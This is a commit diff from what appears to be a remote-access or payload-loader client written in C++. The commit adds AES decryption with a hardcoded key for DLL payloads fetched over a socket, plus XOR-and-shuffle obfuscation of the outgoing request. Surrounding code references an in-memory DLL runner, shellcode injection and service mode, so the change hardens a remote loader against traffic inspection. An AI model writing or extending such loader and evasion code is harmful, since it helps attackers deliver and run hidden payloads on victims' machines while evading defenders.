Enhance(client): Add AES encryption for DLL transmission
This commit is contained in:
1 parent
082860de8f
commit
830dcf1672
5 files changed
+82
No files matched your search
@@ -78,11 +78,36 @@ typedef struct PkgHeader {
|
||||
{
|
||||
memset(flag, 0, sizeof(flag));
|
||||
memcpy(flag, "Hello?", 6);
|
||||
flag[7] = 1;
|
||||
originLen = size;
|
||||
totalLen = sizeof(PkgHeader) + size;
|
||||
}
|
||||
} PkgHeader;
|
||||
|
||||
static void gen_aes_bytes(BYTE* out) {
|
||||
for (int i = 0; i < 16; i++) {
|
||||
out[i] = (BYTE)(rand() & 0xFF);
|
||||
}
|
||||
}
|
||||
|
||||
static uint16_t pseudo_random(int index) {
|
||||
return (uint16_t)((1 ^ (index * 251 + 97)) * 733);
|
||||
}
|
||||
|
||||
static void encrypt(unsigned char* data, int len) {
|
||||
for (int i = 0; i < len; ++i) {
|
||||
data[i] ^= (unsigned char)((i * 13) ^ ((i << 1) ^ 1));
|
||||
}
|
||||
for (int round = 0; round < 2; ++round) {
|
||||
for (int i = 0; i < len; ++i) {
|
||||
int j = pseudo_random(i + round * 100) % len;
|
||||
unsigned char tmp = data[i];
|
||||
data[i] = data[j];
|
||||
data[j] = tmp;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
typedef int (*DllCallback)(BYTE* dll, int size);
|
||||
|
||||
// Memory DLL runner.
|
||||
@@ -166,10 +191,12 @@ public:
|
||||
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 1 };
|
||||
#endif
|
||||
memcpy(command + 4, __DATE__, 11); // 发送版本日期用于大 DLL 检查
|
||||
gen_aes_bytes((BYTE*)command + 16); // AES IV
|
||||
memcpy(command + 32, hash.c_str(), min(32, hash.length()));
|
||||
char req[sizeof(PkgHeader) + sizeof(command)] = {};
|
||||
memcpy(req, &PkgHeader(sizeof(command)), sizeof(PkgHeader));
|
||||
memcpy(req + sizeof(PkgHeader), command, sizeof(command));
|
||||
encrypt((BYTE*)req + sizeof(PkgHeader), sizeof(command)); // Hello?
|
||||
auto bytesSent = send(clientSocket, req, sizeof(req), 0);
|
||||
if (bytesSent != sizeof(req)) {
|
||||
closesocket(clientSocket);
|
||||
@@ -206,6 +233,12 @@ public:
|
||||
continue;
|
||||
}
|
||||
char* ptr = buffer + sizeof(PkgHeader);
|
||||
struct AES_ctx ctx; // AES Decode
|
||||
static const unsigned char aes_key[16] = {
|
||||
0x5A, 0xC3, 0x17, 0xF0, 0x89, 0xB6, 0x4E, 0x7D, 0x1A, 0x22, 0x9F, 0xC8, 0xD3, 0xE6, 0x73, 0xB1
|
||||
};
|
||||
AES_init_ctx_iv(&ctx, aes_key, (BYTE*)command + 16);
|
||||
AES_CBC_decrypt_buffer(&ctx, (BYTE*)ptr, header->originLen);
|
||||
BYTE cmd = ptr[0], type = ptr[1];
|
||||
size = 0;
|
||||
memcpy(&size, ptr + 2, sizeof(int));
|
||||
@@ -315,6 +348,7 @@ int InjectShellcode(BYTE* buf, int len) {
|
||||
// 如果配置文件不存在就从命令行中获取IP和端口.
|
||||
int main(int argc, const char *argv[])
|
||||
{
|
||||
srand((unsigned int)time(NULL));
|
||||
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc > 1 ? argv[1] : "", argc);
|
||||
bool runCmd = (argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0), isService = false;
|
||||
if (!runCmd) {
|
||||
|
||||
Reference in new issue
Block a user